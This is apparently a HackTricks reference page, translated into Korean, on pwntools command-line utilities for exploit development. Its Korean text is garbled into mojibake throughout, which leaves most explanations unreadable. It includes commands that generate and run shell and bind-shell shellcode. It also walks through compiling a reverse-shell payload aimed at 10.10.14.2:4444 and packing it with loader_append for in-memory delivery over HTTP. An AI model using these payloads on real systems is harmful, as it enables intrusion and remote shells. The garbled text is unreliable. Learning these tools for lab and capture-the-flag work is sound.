PwnTools
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
pip3 install pwntools
Pwn asm
๋ผ์ธ์ด๋ ํ์ผ์์ opcodes๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
pwn asm "jmp esp"
pwn asm -i <filepath>
์ ํ ๊ฐ๋ฅ:
- ์ถ๋ ฅ ์ ํ (raw,hex,string,elf)
- ์ถ๋ ฅ ํ์ผ ์ปจํ ์คํธ (16,32,64,linux,windowsโฆ)
- ์ ์ธํ bytes (new lines, null, a list)
- encoder ์ ํ; debug shellcode๋ฅผ gdb๋ก ์คํํ์ฌ output์ ํ์ธ
Pwn checksec
Checksec ์คํฌ๋ฆฝํธ
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
ํจํด ์์ฑ
pwn cyclic 3000
pwn cyclic -l faad
์ ํ ๊ฐ๋ฅ:
- ์ฌ์ฉ๋๋ alphabet (๊ธฐ๋ณธ๊ฐ: lowercase chars)
- uniq pattern์ ๊ธธ์ด (๊ธฐ๋ณธ๊ฐ: 4)
- context (16,32,64,linux,windowsโฆ)
- ์คํ์ ๊ฐ์ ธ์ค๊ธฐ (-l)
Pwn debug
ํ๋ก์ธ์ค์ GDB๋ฅผ ์ฐ๊ฒฐ
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
์ ํ ๊ฐ๋ฅ:
- executable๋ณ, name๋ณ ๋๋ pid context๋ณ (16,32,64,linux,windowsโฆ)
- ์คํํ gdbscript
- sysrootpath
Pwn disablenx
binary์ nx ๋นํ์ฑํ
pwn disablenx <filepath>
Pwn disasm
hex opcodes๋ฅผ ๋์ค์ด์ ๋ธ
pwn disasm ffe4
์ ํ ๊ฐ๋ฅ:
- context (16,32,64,linux,windowsโฆ)
- base ์ฃผ์
- color(default)/no color
Pwn elfdiff
๋ ํ์ผ ๊ฐ์ ์ฐจ์ด์ ์ ์ถ๋ ฅ
pwn elfdiff <file1> <file2>
Pwn hex
16์ง์ ํํ ์ป๊ธฐ
pwn hex hola #Get hex of "hola" ascii
Pwn phd
hexdump ๊ฐ์ ธ์ค๊ธฐ
pwn phd <file>
์ ํ ๊ฐ๋ฅ:
- ํ์ํ ๋ฐ์ดํธ ์
- ํ ์ค๋น ๋ฐ์ดํธ ์ ๋ฐ ๊ฐ์กฐํ ๋ฐ์ดํธ
- ์ฒ์์ ๋ฐ์ดํธ ๊ฑด๋๋ฐ๊ธฐ
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
shellcodes ๊ฐ์ ธ์ค๊ธฐ
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
์ ํ ๊ฐ๋ฅ:
- shellcode์ ์ธ์
- ์ถ๋ ฅ ํ์ผ
- ์ถ๋ ฅ ํ์
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- opcodes ์ฌ์ฉ ํํผ (๊ธฐ๋ณธ: null๊ณผ new line ์ ์ธ)
- shellcode ์คํ
- ์์/๋ฌด์์
- syscalls ๋ชฉ๋ก
- ๊ฐ๋ฅํ shellcodes ๋ชฉ๋ก
- ELF๋ฅผ shared library๋ก ์์ฑ
Pwn template
python ํ ํ๋ฆฟ ๊ฐ์ ธ์ค๊ธฐ
pwn template
์ ํ ๊ฐ๋ฅ: host, port, user, pass, path and quiet
Pwn unhex
hex์์ string์ผ๋ก
pwn unhex 686f6c61
Pwn ์ ๋ฐ์ดํธ
pwntools๋ฅผ ์ ๋ฐ์ดํธํ๋ ค๋ฉด
pwn update
ELF โ raw shellcode ํจํค์ง (loader_append)
Pwntools๋ ๋ ๋ฆฝ ์คํํ ELF๋ฅผ ์ธ๊ทธ๋จผํธ๋ฅผ ์ค์ค๋ก ๋งคํํ๊ณ ์๋ ์ํธ๋ฆฌํฌ์ธํธ๋ก ์คํ์ ์ ๋ฌํ๋ ๋จ์ผ raw shellcode ๋ธ๋กญ์ผ๋ก ๋ณํํ ์ ์์ต๋๋ค. ์ด๋ ๋ค์ด๋ก๋ํ ๋ฐ์ดํธ๋ฅผ ์คํํ๊ธฐ ์ํด JNI๋ฅผ ํธ์ถํ๋ Android ์ฑ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌโ์ ์ฉ ๋ก๋์ ์ด์์ ์ ๋๋ค.
Typical pipeline (amd64 example)
- Build a static, positionโindependent payload ELF (musl recommended for portability):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- ELF โ shellcode๋ก ๋ณํ (pwntools ์ฌ์ฉ):
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- sc๋ฅผ ๋ฉ๋ชจ๋ฆฌ ๋ก๋(์: HTTP[S]๋ฅผ ํตํด)๋ก ์ ๋ฌํ์ฌ ํ๋ก์ธ์ค ๋ด์์ ์คํํฉ๋๋ค.
Notes
- loader_append๋ ์๋ณธ ELF ํ๋ก๊ทธ๋จ์ shellcode์ ์๋ฒ ๋ํ๊ณ , ์ธ๊ทธ๋จผํธ๋ฅผ mmapsํ์ฌ ์ํธ๋ฆฌ๋ก ์ ํํ๋ ์ํ ๋ก๋๋ฅผ ์์ฑํฉ๋๋ค.
- context.clear(arch=โฆ)๋ก ์ํคํ ์ฒ๋ฅผ ๋ช ์ํ์ธ์. arm64๋ Android์์ ์ผ๋ฐ์ ์ ๋๋ค.
- payload์ ์ฝ๋๊ฐ ์์น ๋น์ข ์(position-independent)์ด ๋๋๋ก ํ๊ณ , ํ๋ก์ธ์ค์ ASLR/NX์ ๋ํ ๊ฐ์ ์ ํผํ์ธ์.
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


